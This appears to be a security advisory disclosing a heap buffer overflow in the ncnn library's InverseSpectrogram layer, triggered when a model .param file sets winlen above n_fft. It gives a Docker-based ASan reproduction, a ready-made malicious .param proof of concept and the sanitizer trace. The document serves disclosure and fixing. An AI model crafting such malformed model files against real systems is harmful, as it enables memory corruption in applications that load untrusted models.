Heap Buffer Overflow in InverseSpectrogram Loading
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/inversespectrogram.cpp:38 in InverseSpectrogram::load_param
Sanitizer verdict: heap-buffer-overflow
Summary
A .param file whose InverseSpectrogram layer declares winlen larger than n_fft produces a heap overflow during Net::load_param — before any weights are read and before inference starts. The window buffer is allocated from n_fft but filled with winlen floats, so the attacker sets the overflow length directly by the difference between two parameters. Any process that loads an untrusted .param file, including ncnnoptimize, is affected.
Detail
InverseSpectrogram::load_param reads n_fft from key 0 and winlen from key 3, defaulting winlen to n_fft. The buffer is created from n_fft alone, and the window-generation loops that follow are bounded by winlen. The source acknowledges the missing check in a comment:
// src/layer/inversespectrogram.cpp:24
// assert winlen <= n_fft
// generate window
window_data.create(normalized == 2 ? n_fft + 1 : n_fft);
{
float* p = window_data;
for (int i = 0; i < (n_fft - winlen) / 2; i++)
{
*p++ = 0.f;
}
if (window_type == 0)
{
// all ones
for (int i = 0; i < winlen; i++)
{
*p++ = 1.f;
}
}
The assert is a comment, not code. load_param returns 0 unconditionally, so a winlen > n_fft model is accepted and the write runs to completion.
The PoC sets 0=4 (n_fft = 4) and 3=100 (winlen = 100) with window_type left at its default 0. The leading zero-fill loop is skipped because (4 - 100) / 2 is negative, so p starts at the beginning of the buffer. window_data.create(4) reserves 16 bytes of payload — an 84-byte region after ncnn's allocation padding — and the window_type == 0 loop then stores 100 floats (400 bytes) through p. The first store past the region is the 22nd, matching ASan's "0 bytes after 84-byte region". Raising winlen extends the overflow arbitrarily; the window_type == 1 and 2 branches overflow the same way with computed float values instead of 1.f.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overflow-in-inversespectrogram-loading && cd ncnn-poc-heap-buffer-overflow-in-inversespectrogram-loading
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input in 0 1 in
InverseSpectrogram inverse 1 1 in out 0=4 3=100
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000094 at pc 0x638dfca0100d bp 0x7ffe458b7510 sp 0x7ffe458b7500
WRITE of size 4 at 0x50e000000094 thread T0
#0 0x638dfca0100c in ncnn::InverseSpectrogram::load_param(ncnn::ParamDict const&) /ncnn/src/layer/inversespectrogram.cpp:38
#1 0x638df3bbaca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
#2 0x638df3bef29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
#3 0x638df3bef5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
#4 0x638df3b02beb in main /ncnn/tools/ncnnoptimize.cpp:2788
#5 0x73c3f71a91c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x73c3f71a928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x638df3a82624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
#0 0x73c3f7822f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x638df3b51bc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x638df3b51bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x638dfca00e4a in ncnn::InverseSpectrogram::load_param(ncnn::ParamDict const&) /ncnn/src/layer/inversespectrogram.cpp:26
#4 0x638df3bbaca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
#5 0x638df3bef29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
#6 0x638df3bef5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
#7 0x638df3b02beb in main /ncnn/tools/ncnnoptimize.cpp:2788
#8 0x73c3f71a91c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x73c3f71a928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x638df3a82624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/inversespectrogram.cpp:38 in ncnn::InverseSpectrogram::load_param(ncnn::ParamDict const&)
Credit
Zheng Yu @ DepthFirst